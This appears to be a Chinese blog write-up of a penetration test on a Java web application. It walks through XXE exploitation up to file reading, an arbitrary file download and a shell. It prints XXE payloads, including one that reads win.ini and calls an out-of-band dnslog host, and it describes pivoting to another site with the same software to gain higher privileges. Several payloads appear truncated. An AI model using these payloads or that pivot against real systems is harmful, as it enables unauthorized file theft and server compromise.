目标
经典渗透场景 - 登录框(授权合法渗透)
初步挖掘
发现某JSP路径返回包泄露了代码信息,且疑似存在XXE漏洞
通过泄露的代码构造出post请求包
测试,漏洞存在
Poc:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///C:Windowswin.ini"> <!ENTITY % dtd SYSTEM "http://xxe.xxx.dnslog.cn/xxe"> %dtd; %send; ]> <root> <name>&b;</name> </root> |
插曲 - XXE复习
参考文章:
https://forum.butian.net/share/2573
https://www.heetian.com/info/565
XXE漏洞指的是XML外部实体注入(XML External Entity Injection)漏洞,它是一种常见的安全漏洞类型,可以用来攻击基于XML的应用程序。当应用程序接受XML输入时,攻击者可以插入带有外部实体引用的恶意XML数据,从而导致应用程序执行未经授权的操作,比如访问本地文件系统、执行远程代码等。攻击者可以通过利用XXE漏洞来获取敏感信息、控制服务器,或者执行其他恶意操作
读取文件
在进行利用之前应该先测试下,目标环境有无回显,是否支持外部实体。
检查是否支持外部实体 <?xml version="1.0" encoding="UTF-8"?> %foo; ]> 查看你的服务器是否有请求 |
不同平台支持的协议
注意:jdk1.8开始不再支持gopher协议
Java环境下读取文件
1、netdoc协议和file协议的作用是一样的,都可以读取文件
2、Java环境下可以使用file协议读取列目录,和ls作用类似
3、在Java环境中,我们可以使用CDATA来读取包含特殊字符的文本数据,避免XML解析器对其进行解析。但是也只能读取一些简单的文本文件,如果文本中含有&或%还是无法进行读取。
如下:
深入挖掘
至此,脑中已有大体思路,那就是利用XXE外带或者回显读文件来进一步扩大攻击面;由于Java下用file和CDATA也无法读取内容含&、%、中文等文件,所以不能读jsp,class等文件,可以选择读向日葵,web.xml等文件来尝试getshell。
报错找绝对路径
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file"> ]> <service> <serviceID>&xxe;</serviceID> <parameters> <parameter index="" type=""></parameter> </parameters> </service> |
列目录、读文件
利用本地DTD进行文件读取时发现权限不够,被拒绝访问了
小问题,这可难不倒我胡图图,寻找同指纹站点,找个权限高的,便可解决问题
更换站点后,顺利读取目标web目录
通过读web.xml+黑盒测试,发现任意下载漏洞
web.xml中存在未授权的文件操作接口
黑盒,存在任意文件下载漏洞
有了任意下载,接下来的渗透之路譬如探朗取物般简单,通过任意下载,将class文件下载到本地进行阅读
成功getshell
最终完成曲折的日站之旅
总结
平常看了些许XXE漏洞利用文章,等到自己实际上手时还是很抓瞎
千学不如一看,千看不如一练
本公众号作者联系方式
原文始发于微信公众号(进击安全):Java实战篇-XXE漏洞利用从潜到深
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论